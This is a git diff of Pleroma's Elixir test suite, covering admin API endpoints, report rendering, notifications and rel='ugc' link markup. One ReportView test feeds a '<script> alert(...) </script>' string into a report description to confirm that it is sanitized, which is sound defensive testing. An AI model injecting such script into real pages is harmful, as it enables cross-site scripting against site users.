|> assign(:user, admin)
|
||||
|> put_req_header("accept", "application/json")
|
||||
|> get("/api/pleroma/admin/users/invite_token")
|
||||
|
||||
assert conn.status == 200
|
||||
end
|
||||
|
||||
test "/api/pleroma/admin/users/:nickname/password_reset" do
|
||||
admin = insert(:user, info: %{is_admin: true})
|
||||
user = insert(:user)
|
||||
|
|
@ -596,7 +586,9 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|
|||
|> put_req_header("accept", "application/json")
|
||||
|> get("/api/pleroma/admin/users/#{user.nickname}/password_reset")
|
||||
|
||||
assert conn.status == 200
|
||||
resp = json_response(conn, 200)
|
||||
|
||||
assert Regex.match?(~r/(http:\/\/|https:\/\/)/, resp["link"])
|
||||
end
|
||||
|
||||
describe "GET /api/pleroma/admin/users" do
|
||||
|
|
@ -1064,7 +1056,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|
|||
"@#{admin.nickname} deactivated user @#{user.nickname}"
|
||||
end
|
||||
|
||||
describe "GET /api/pleroma/admin/users/invite_token" do
|
||||
describe "POST /api/pleroma/admin/users/invite_token" do
|
||||
setup do
|
||||
admin = insert(:user, info: %{is_admin: true})
|
||||
|
||||
|
|
@ -1076,10 +1068,10 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|
|||
end
|
||||
|
||||
test "without options", %{conn: conn} do
|
||||
conn = get(conn, "/api/pleroma/admin/users/invite_token")
|
||||
conn = post(conn, "/api/pleroma/admin/users/invite_token")
|
||||
|
||||
token = json_response(conn, 200)
|
||||
invite = UserInviteToken.find_by_token!(token)
|
||||
invite_json = json_response(conn, 200)
|
||||
invite = UserInviteToken.find_by_token!(invite_json["token"])
|
||||
refute invite.used
|
||||
refute invite.expires_at
|
||||
refute invite.max_use
|
||||
|
|
@ -1088,12 +1080,12 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|
|||
|
||||
test "with expires_at", %{conn: conn} do
|
||||
conn =
|
||||
get(conn, "/api/pleroma/admin/users/invite_token", %{
|
||||
"invite" => %{"expires_at" => Date.to_string(Date.utc_today())}
|
||||
post(conn, "/api/pleroma/admin/users/invite_token", %{
|
||||
"expires_at" => Date.to_string(Date.utc_today())
|
||||
})
|
||||
|
||||
token = json_response(conn, 200)
|
||||
invite = UserInviteToken.find_by_token!(token)
|
||||
invite_json = json_response(conn, 200)
|
||||
invite = UserInviteToken.find_by_token!(invite_json["token"])
|
||||
|
||||
refute invite.used
|
||||
assert invite.expires_at == Date.utc_today()
|
||||
|
|
@ -1102,13 +1094,10 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|
|||
end
|
||||
|
||||
test "with max_use", %{conn: conn} do
|
||||
conn =
|
||||
get(conn, "/api/pleroma/admin/users/invite_token", %{
|
||||
"invite" => %{"max_use" => 150}
|
||||
})
|
||||
conn = post(conn, "/api/pleroma/admin/users/invite_token", %{"max_use" => 150})
|
||||
|
||||
token = json_response(conn, 200)
|
||||
invite = UserInviteToken.find_by_token!(token)
|
||||
invite_json = json_response(conn, 200)
|
||||
invite = UserInviteToken.find_by_token!(invite_json["token"])
|
||||
refute invite.used
|
||||
refute invite.expires_at
|
||||
assert invite.max_use == 150
|
||||
|
|
@ -1117,12 +1106,13 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|
|||
|
||||
test "with max use and expires_at", %{conn: conn} do
|
||||
conn =
|
||||
get(conn, "/api/pleroma/admin/users/invite_token", %{
|
||||
"invite" => %{"max_use" => 150, "expires_at" => Date.to_string(Date.utc_today())}
|
||||
post(conn, "/api/pleroma/admin/users/invite_token", %{
|
||||
"max_use" => 150,
|
||||
"expires_at" => Date.to_string(Date.utc_today())
|
||||
})
|
||||
|
||||
token = json_response(conn, 200)
|
||||
invite = UserInviteToken.find_by_token!(token)
|
||||
invite_json = json_response(conn, 200)
|
||||
invite = UserInviteToken.find_by_token!(invite_json["token"])
|
||||
refute invite.used
|
||||
assert invite.expires_at == Date.utc_today()
|
||||
assert invite.max_use == 150
|
||||
|
|
@ -1309,6 +1299,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|
|||
|> json_response(:ok)
|
||||
|
||||
assert Enum.empty?(response["reports"])
|
||||
assert response["total"] == 0
|
||||
end
|
||||
|
||||
test "returns reports", %{conn: conn} do
|
||||
|
|
@ -1331,6 +1322,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|
|||
|
||||
assert length(response["reports"]) == 1
|
||||
assert report["id"] == report_id
|
||||
|
||||
assert response["total"] == 1
|
||||
end
|
||||
|
||||
test "returns reports with specified state", %{conn: conn} do
|
||||
|
|
@ -1364,6 +1357,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|
|||
assert length(response["reports"]) == 1
|
||||
assert open_report["id"] == first_report_id
|
||||
|
||||
assert response["total"] == 1
|
||||
|
||||
response =
|
||||
conn
|
||||
|> get("/api/pleroma/admin/reports", %{
|
||||
|
|
@ -1376,6 +1371,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|
|||
assert length(response["reports"]) == 1
|
||||
assert closed_report["id"] == second_report_id
|
||||
|
||||
assert response["total"] == 1
|
||||
|
||||
response =
|
||||
conn
|
||||
|> get("/api/pleroma/admin/reports", %{
|
||||
|
|
@ -1384,6 +1381,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|
|||
|> json_response(:ok)
|
||||
|
||||
assert Enum.empty?(response["reports"])
|
||||
assert response["total"] == 0
|
||||
end
|
||||
|
||||
test "returns 403 when requested by a non-admin" do
|
||||
|
|
@ -2464,6 +2462,30 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|
|||
"@#{moderator.nickname} unfollowed relay: https://example.org/relay"
|
||||
end
|
||||
end
|
||||
|
||||
describe "PATCH /users/:nickname/force_password_reset" do
|
||||
setup %{conn: conn} do
|
||||
admin = insert(:user, info: %{is_admin: true})
|
||||
user = insert(:user)
|
||||
|
||||
%{conn: assign(conn, :user, admin), admin: admin, user: user}
|
||||
end
|
||||
|
||||
test "sets password_reset_pending to true", %{admin: admin, user: user} do
|
||||
assert user.info.password_reset_pending == false
|
||||
|
||||
conn =
|
||||
build_conn()
|
||||
|> assign(:user, admin)
|
||||
|> patch("/api/pleroma/admin/users/#{user.nickname}/force_password_reset")
|
||||
|
||||
assert json_response(conn, 204) == ""
|
||||
|
||||
ObanHelpers.perform_all()
|
||||
|
||||
assert User.get_by_id(user.id).info.password_reset_pending == true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Needed for testing
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.AdminAPI.SearchTest do
|
||||
|
|
|
|||
|
|
@ -5,6 +5,7 @@
|
|||
defmodule Pleroma.Web.AdminAPI.ReportViewTest do
|
||||
use Pleroma.DataCase
|
||||
import Pleroma.Factory
|
||||
alias Pleroma.Web.AdminAPI.Report
|
||||
alias Pleroma.Web.AdminAPI.ReportView
|
||||
alias Pleroma.Web.CommonAPI
|
||||
alias Pleroma.Web.MastodonAPI.AccountView
|
||||
|
|
@ -34,7 +35,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
|
|||
}
|
||||
|
||||
result =
|
||||
ReportView.render("show.json", %{report: activity})
|
||||
ReportView.render("show.json", Report.extract_report_info(activity))
|
||||
|> Map.delete(:created_at)
|
||||
|
||||
assert result == expected
|
||||
|
|
@ -66,7 +67,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
|
|||
}
|
||||
|
||||
result =
|
||||
ReportView.render("show.json", %{report: report_activity})
|
||||
ReportView.render("show.json", Report.extract_report_info(report_activity))
|
||||
|> Map.delete(:created_at)
|
||||
|
||||
assert result == expected
|
||||
|
|
@ -78,7 +79,9 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
|
|||
|
||||
{:ok, activity} = CommonAPI.report(user, %{"account_id" => other_user.id})
|
||||
{:ok, activity} = CommonAPI.update_report_state(activity.id, "closed")
|
||||
assert %{state: "closed"} = ReportView.render("show.json", %{report: activity})
|
||||
|
||||
assert %{state: "closed"} =
|
||||
ReportView.render("show.json", Report.extract_report_info(activity))
|
||||
end
|
||||
|
||||
test "renders report description" do
|
||||
|
|
@ -92,7 +95,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
|
|||
})
|
||||
|
||||
assert %{content: "posts are too good for this instance"} =
|
||||
ReportView.render("show.json", %{report: activity})
|
||||
ReportView.render("show.json", Report.extract_report_info(activity))
|
||||
end
|
||||
|
||||
test "sanitizes report description" do
|
||||
|
|
@ -109,7 +112,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
|
|||
activity = Map.put(activity, :data, data)
|
||||
|
||||
refute "<script> alert('hecked :D:D:D:D:D:D:D') </script>" ==
|
||||
ReportView.render("show.json", %{report: activity})[:content]
|
||||
ReportView.render("show.json", Report.extract_report_info(activity))[:content]
|
||||
end
|
||||
|
||||
test "doesn't error out when the user doesn't exists" do
|
||||
|
|
@ -125,6 +128,6 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
|
|||
Pleroma.User.delete(other_user)
|
||||
Pleroma.User.invalidate_cache(other_user)
|
||||
|
||||
assert %{} = ReportView.render("show.json", %{report: activity})
|
||||
assert %{} = ReportView.render("show.json", Report.extract_report_info(activity))
|
||||
end
|
||||
end
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.CommonAPI.UtilsTest do
|
||||
|
|
@ -157,11 +157,11 @@ defmodule Pleroma.Web.CommonAPI.UtilsTest do
|
|||
text = "**hello world**\n\n*another @user__test and @user__test google.com paragraph*"
|
||||
|
||||
expected =
|
||||
"<p><strong>hello world</strong></p>\n<p><em>another <span class=\"h-card\"><a data-user=\"#{
|
||||
~s(<p><strong>hello world</strong></p>\n<p><em>another <span class="h-card"><a data-user="#{
|
||||
user.id
|
||||
}\" class=\"u-url mention\" href=\"http://foo.com/user__test\">@<span>user__test</span></a></span> and <span class=\"h-card\"><a data-user=\"#{
|
||||
}" class="u-url mention" href="http://foo.com/user__test" rel="ugc">@<span>user__test</span></a></span> and <span class="h-card"><a data-user="#{
|
||||
user.id
|
||||
}\" class=\"u-url mention\" href=\"http://foo.com/user__test\">@<span>user__test</span></a></span> <a href=\"http://google.com\">google.com</a> paragraph</em></p>\n"
|
||||
}" class="u-url mention" href="http://foo.com/user__test" rel="ugc">@<span>user__test</span></a></span> <a href="http://google.com" rel="ugc">google.com</a> paragraph</em></p>\n)
|
||||
|
||||
{output, _, _} = Utils.format_input(text, "text/markdown")
|
||||
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.FederatorTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Instances.InstanceTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.InstancesTest do
|
||||
|
|
|
|||
|
|
@ -86,10 +86,9 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do
|
|||
assert user = json_response(conn, 200)
|
||||
|
||||
assert user["note"] ==
|
||||
~s(I drink <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe" rel="tag">#cofe</a> with <span class="h-card"><a data-user=") <>
|
||||
user2.id <>
|
||||
~s(" class="u-url mention" href=") <>
|
||||
user2.ap_id <> ~s(">@<span>) <> user2.nickname <> ~s(</span></a></span>)
|
||||
~s(I drink <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe">#cofe</a> with <span class="h-card"><a data-user="#{
|
||||
user2.id
|
||||
}" class="u-url mention" href="#{user2.ap_id}" rel="ugc">@<span>#{user2.nickname}</span></a></span>)
|
||||
end
|
||||
|
||||
test "updates the user's locking status", %{conn: conn} do
|
||||
|
|
@ -128,6 +127,22 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do
|
|||
assert user["pleroma"]["hide_followers"] == true
|
||||
end
|
||||
|
||||
test "updates the user's hide_followers_count and hide_follows_count", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
|
||||
conn =
|
||||
conn
|
||||
|> assign(:user, user)
|
||||
|> patch("/api/v1/accounts/update_credentials", %{
|
||||
hide_followers_count: "true",
|
||||
hide_follows_count: "true"
|
||||
})
|
||||
|
||||
assert user = json_response(conn, 200)
|
||||
assert user["pleroma"]["hide_followers_count"] == true
|
||||
assert user["pleroma"]["hide_follows_count"] == true
|
||||
end
|
||||
|
||||
test "updates the user's skip_thread_containment option", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
|
||||
|
|
@ -318,7 +333,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do
|
|||
|
||||
assert account["fields"] == [
|
||||
%{"name" => "foo", "value" => "bar"},
|
||||
%{"name" => "link", "value" => "<a href=\"http://cofe.io\">cofe.io</a>"}
|
||||
%{"name" => "link", "value" => ~S(<a href="http://cofe.io" rel="ugc">cofe.io</a>)}
|
||||
]
|
||||
|
||||
assert account["source"]["fields"] == [
|
||||
|
|
|
|||
|
|
@ -0,0 +1,299 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.MastodonAPI.NotificationControllerTest do
|
||||
use Pleroma.Web.ConnCase
|
||||
|
||||
alias Pleroma.Notification
|
||||
alias Pleroma.Repo
|
||||
alias Pleroma.User
|
||||
alias Pleroma.Web.CommonAPI
|
||||
|
||||
import Pleroma.Factory
|
||||
|
||||
test "list of notifications", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
other_user = insert(:user)
|
||||
|
||||
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
|
||||
{:ok, [_notification]} = Notification.create_notifications(activity)
|
||||
|
||||
conn =
|
||||
conn
|
||||
|> assign(:user, user)
|
||||
|> get("/api/v1/notifications")
|
||||
|
||||
expected_response =
|
||||
"hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
|
||||
user.ap_id
|
||||
}\" rel=\"ugc\">@<span>#{user.nickname}</span></a></span>"
|
||||
|
||||
assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200)
|
||||
assert response == expected_response
|
||||
end
|
||||
|
||||
test "getting a single notification", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
other_user = insert(:user)
|
||||
|
||||
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
|
||||
{:ok, [notification]} = Notification.create_notifications(activity)
|
||||
|
||||
conn =
|
||||
conn
|
||||
|> assign(:user, user)
|
||||
|> get("/api/v1/notifications/#{notification.id}")
|
||||
|
||||
expected_response =
|
||||
"hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
|
||||
user.ap_id
|
||||
}\" rel=\"ugc\">@<span>#{user.nickname}</span></a></span>"
|
||||
|
||||
assert %{"status" => %{"content" => response}} = json_response(conn, 200)
|
||||
assert response == expected_response
|
||||
end
|
||||
|
||||
test "dismissing a single notification", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
other_user = insert(:user)
|
||||
|
||||
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
|
||||
{:ok, [notification]} = Notification.create_notifications(activity)
|
||||
|
||||
conn =
|
||||
conn
|
||||
|> assign(:user, user)
|
||||
|> post("/api/v1/notifications/dismiss", %{"id" => notification.id})
|
||||
|
||||
assert %{} = json_response(conn, 200)
|
||||
end
|
||||
|
||||
test "clearing all notifications", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
other_user = insert(:user)
|
||||
|
||||
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
|
||||
{:ok, [_notification]} = Notification.create_notifications(activity)
|
||||
|
||||
conn =
|
||||
conn
|
||||
|> assign(:user, user)
|
||||
|> post("/api/v1/notifications/clear")
|
||||
|
||||
assert %{} = json_response(conn, 200)
|
||||
|
||||
conn =
|
||||
build_conn()
|
||||
|> assign(:user, user)
|
||||
|> get("/api/v1/notifications")
|
||||
|
||||
assert all = json_response(conn, 200)
|
||||
assert all == []
|
||||
end
|
||||
|
||||
test "paginates notifications using min_id, since_id, max_id, and limit", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
other_user = insert(:user)
|
||||
|
||||
{:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
{:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
{:ok, activity3} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
{:ok, activity4} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
|
||||
notification1_id = get_notification_id_by_activity(activity1)
|
||||
notification2_id = get_notification_id_by_activity(activity2)
|
||||
notification3_id = get_notification_id_by_activity(activity3)
|
||||
notification4_id = get_notification_id_by_activity(activity4)
|
||||
|
||||
conn = assign(conn, :user, user)
|
||||
|
||||
# min_id
|
||||
result =
|
||||
conn
|
||||
|> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}")
|
||||
|> json_response(:ok)
|
||||
|
||||
assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
|
||||
|
||||
# since_id
|
||||
result =
|
||||
conn
|
||||
|> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}")
|
||||
|> json_response(:ok)
|
||||
|
||||
assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
|
||||
|
||||
# max_id
|
||||
result =
|
||||
conn
|
||||
|> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}")
|
||||
|> json_response(:ok)
|
||||
|
||||
assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
|
||||
end
|
||||
|
||||
test "filters notifications using exclude_types", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
other_user = insert(:user)
|
||||
|
||||
{:ok, mention_activity} = CommonAPI.post(other_user, %{"status" => "hey @#{user.nickname}"})
|
||||
{:ok, create_activity} = CommonAPI.post(user, %{"status" => "hey"})
|
||||
{:ok, favorite_activity, _} = CommonAPI.favorite(create_activity.id, other_user)
|
||||
{:ok, reblog_activity, _} = CommonAPI.repeat(create_activity.id, other_user)
|
||||
{:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user)
|
||||
|
||||
mention_notification_id = get_notification_id_by_activity(mention_activity)
|
||||
favorite_notification_id = get_notification_id_by_activity(favorite_activity)
|
||||
reblog_notification_id = get_notification_id_by_activity(reblog_activity)
|
||||
follow_notification_id = get_notification_id_by_activity(follow_activity)
|
||||
|
||||
conn = assign(conn, :user, user)
|
||||
|
||||
conn_res =
|
||||
get(conn, "/api/v1/notifications", %{exclude_types: ["mention", "favourite", "reblog"]})
|
||||
|
||||
assert [%{"id" => ^follow_notification_id}] = json_response(conn_res, 200)
|
||||
|
||||
conn_res =
|
||||
get(conn, "/api/v1/notifications", %{exclude_types: ["favourite", "reblog", "follow"]})
|
||||
|
||||
assert [%{"id" => ^mention_notification_id}] = json_response(conn_res, 200)
|
||||
|
||||
conn_res =
|
||||
get(conn, "/api/v1/notifications", %{exclude_types: ["reblog", "follow", "mention"]})
|
||||
|
||||
assert [%{"id" => ^favorite_notification_id}] = json_response(conn_res, 200)
|
||||
|
||||
conn_res =
|
||||
get(conn, "/api/v1/notifications", %{exclude_types: ["follow", "mention", "favourite"]})
|
||||
|
||||
assert [%{"id" => ^reblog_notification_id}] = json_response(conn_res, 200)
|
||||
end
|
||||
|
||||
test "destroy multiple", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
other_user = insert(:user)
|
||||
|
||||
{:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
{:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
{:ok, activity3} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
|
||||
{:ok, activity4} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
|
||||
|
||||
notification1_id = get_notification_id_by_activity(activity1)
|
||||
notification2_id = get_notification_id_by_activity(activity2)
|
||||
notification3_id = get_notification_id_by_activity(activity3)
|
||||
notification4_id = get_notification_id_by_activity(activity4)
|
||||
|
||||
conn = assign(conn, :user, user)
|
||||
|
||||
result =
|
||||
conn
|
||||
|> get("/api/v1/notifications")
|
||||
|> json_response(:ok)
|
||||
|
||||
assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result
|
||||
|
||||
conn2 =
|
||||
conn
|
||||
|> assign(:user, other_user)
|
||||
|
||||
result =
|
||||
conn2
|
||||
|> get("/api/v1/notifications")
|
||||
|> json_response(:ok)
|
||||
|
||||
assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
|
||||
|
||||
conn_destroy =
|
||||
conn
|
||||
|> delete("/api/v1/notifications/destroy_multiple", %{
|
||||
"ids" => [notification1_id, notification2_id]
|
||||
})
|
||||
|
||||
assert json_response(conn_destroy, 200) == %{}
|
||||
|
||||
result =
|
||||
conn2
|
||||
|> get("/api/v1/notifications")
|
||||
|> json_response(:ok)
|
||||
|
||||
assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
|
||||
end
|
||||
|
||||
test "doesn't see notifications after muting user with notifications", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
user2 = insert(:user)
|
||||
|
||||
{:ok, _, _, _} = CommonAPI.follow(user, user2)
|
||||
{:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
|
||||
|
||||
conn = assign(conn, :user, user)
|
||||
|
||||
conn = get(conn, "/api/v1/notifications")
|
||||
|
||||
assert length(json_response(conn, 200)) == 1
|
||||
|
||||
{:ok, user} = User.mute(user, user2)
|
||||
|
||||
conn = assign(build_conn(), :user, user)
|
||||
conn = get(conn, "/api/v1/notifications")
|
||||
|
||||
assert json_response(conn, 200) == []
|
||||
end
|
||||
|
||||
test "see notifications after muting user without notifications", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
user2 = insert(:user)
|
||||
|
||||
{:ok, _, _, _} = CommonAPI.follow(user, user2)
|
||||
{:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
|
||||
|
||||
conn = assign(conn, :user, user)
|
||||
|
||||
conn = get(conn, "/api/v1/notifications")
|
||||
|
||||
assert length(json_response(conn, 200)) == 1
|
||||
|
||||
{:ok, user} = User.mute(user, user2, false)
|
||||
|
||||
conn = assign(build_conn(), :user, user)
|
||||
conn = get(conn, "/api/v1/notifications")
|
||||
|
||||
assert length(json_response(conn, 200)) == 1
|
||||
end
|
||||
|
||||
test "see notifications after muting user with notifications and with_muted parameter", %{
|
||||
conn: conn
|
||||
} do
|
||||
user = insert(:user)
|
||||
user2 = insert(:user)
|
||||
|
||||
{:ok, _, _, _} = CommonAPI.follow(user, user2)
|
||||
{:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
|
||||
|
||||
conn = assign(conn, :user, user)
|
||||
|
||||
conn = get(conn, "/api/v1/notifications")
|
||||
|
||||
assert length(json_response(conn, 200)) == 1
|
||||
|
||||
{:ok, user} = User.mute(user, user2)
|
||||
|
||||
conn = assign(build_conn(), :user, user)
|
||||
conn = get(conn, "/api/v1/notifications", %{"with_muted" => "true"})
|
||||
|
||||
assert length(json_response(conn, 200)) == 1
|
||||
end
|
||||
|
||||
defp get_notification_id_by_activity(%{id: id}) do
|
||||
Notification
|
||||
|> Repo.get_by(activity_id: id)
|
||||
|> Map.get(:id)
|
||||
|> to_string()
|
||||
end
|
||||
end
|
||||
|
|
@ -97,6 +97,22 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
|
|||
|> json_response(403) == %{"error" => "This resource requires authentication."}
|
||||
end
|
||||
|
||||
test "the public timeline includes only public statuses for an authenticated user" do
|
||||
user = insert(:user)
|
||||
|
||||
conn =
|
||||
build_conn()
|
||||
|> assign(:user, user)
|
||||
|
||||
{:ok, _activity} = CommonAPI.post(user, %{"status" => "test"})
|
||||
{:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "private"})
|
||||
{:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "unlisted"})
|
||||
{:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "direct"})
|
||||
|
||||
res_conn = get(conn, "/api/v1/timelines/public")
|
||||
assert length(json_response(res_conn, 200)) == 1
|
||||
end
|
||||
|
||||
describe "posting statuses" do
|
||||
setup do
|
||||
user = insert(:user)
|
||||
|
|
@ -296,7 +312,9 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
|
|||
conn
|
||||
|> post("api/v1/statuses", %{"status" => content, "visibility" => "direct"})
|
||||
|
||||
assert %{"id" => id, "visibility" => "direct"} = json_response(conn, 200)
|
||||
assert %{"id" => id} = response = json_response(conn, 200)
|
||||
assert response["visibility"] == "direct"
|
||||
assert response["pleroma"]["direct_conversation_id"]
|
||||
assert activity = Activity.get_by_id(id)
|
||||
assert activity.recipients == [user2.ap_id, conn.assigns[:user].ap_id]
|
||||
assert activity.data["to"] == [user2.ap_id]
|
||||
|
|
@ -981,299 +999,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
|
|||
end
|
||||
end
|
||||
|
||||
describe "notifications" do
|
||||
test "list of notifications", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
other_user = insert(:user)
|
||||
|
||||
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
|
||||
{:ok, [_notification]} = Notification.create_notifications(activity)
|
||||
|
||||
conn =
|
||||
conn
|
||||
|> assign(:user, user)
|
||||
|> get("/api/v1/notifications")
|
||||
|
||||
expected_response =
|
||||
"hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
|
||||
user.ap_id
|
||||
}\">@<span>#{user.nickname}</span></a></span>"
|
||||
|
||||
assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200)
|
||||
assert response == expected_response
|
||||
end
|
||||
|
||||
test "getting a single notification", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
other_user = insert(:user)
|
||||
|
||||
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
|
||||
{:ok, [notification]} = Notification.create_notifications(activity)
|
||||
|
||||
conn =
|
||||
conn
|
||||
|> assign(:user, user)
|
||||
|> get("/api/v1/notifications/#{notification.id}")
|
||||
|
||||
expected_response =
|
||||
"hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
|
||||
user.ap_id
|
||||
}\">@<span>#{user.nickname}</span></a></span>"
|
||||
|
||||
assert %{"status" => %{"content" => response}} = json_response(conn, 200)
|
||||
assert response == expected_response
|
||||
end
|
||||
|
||||
test "dismissing a single notification", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
other_user = insert(:user)
|
||||
|
||||
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
|
||||
{:ok, [notification]} = Notification.create_notifications(activity)
|
||||
|
||||
conn =
|
||||
conn
|
||||
|> assign(:user, user)
|
||||
|> post("/api/v1/notifications/dismiss", %{"id" => notification.id})
|
||||
|
||||
assert %{} = json_response(conn, 200)
|
||||
end
|
||||
|
||||
test "clearing all notifications", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
other_user = insert(:user)
|
||||
|
||||
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
|
||||
{:ok, [_notification]} = Notification.create_notifications(activity)
|
||||
|
||||
conn =
|
||||
conn
|
||||
|> assign(:user, user)
|
||||
|> post("/api/v1/notifications/clear")
|
||||
|
||||
assert %{} = json_response(conn, 200)
|
||||
|
||||
conn =
|
||||
build_conn()
|
||||
|> assign(:user, user)
|
||||
|> get("/api/v1/notifications")
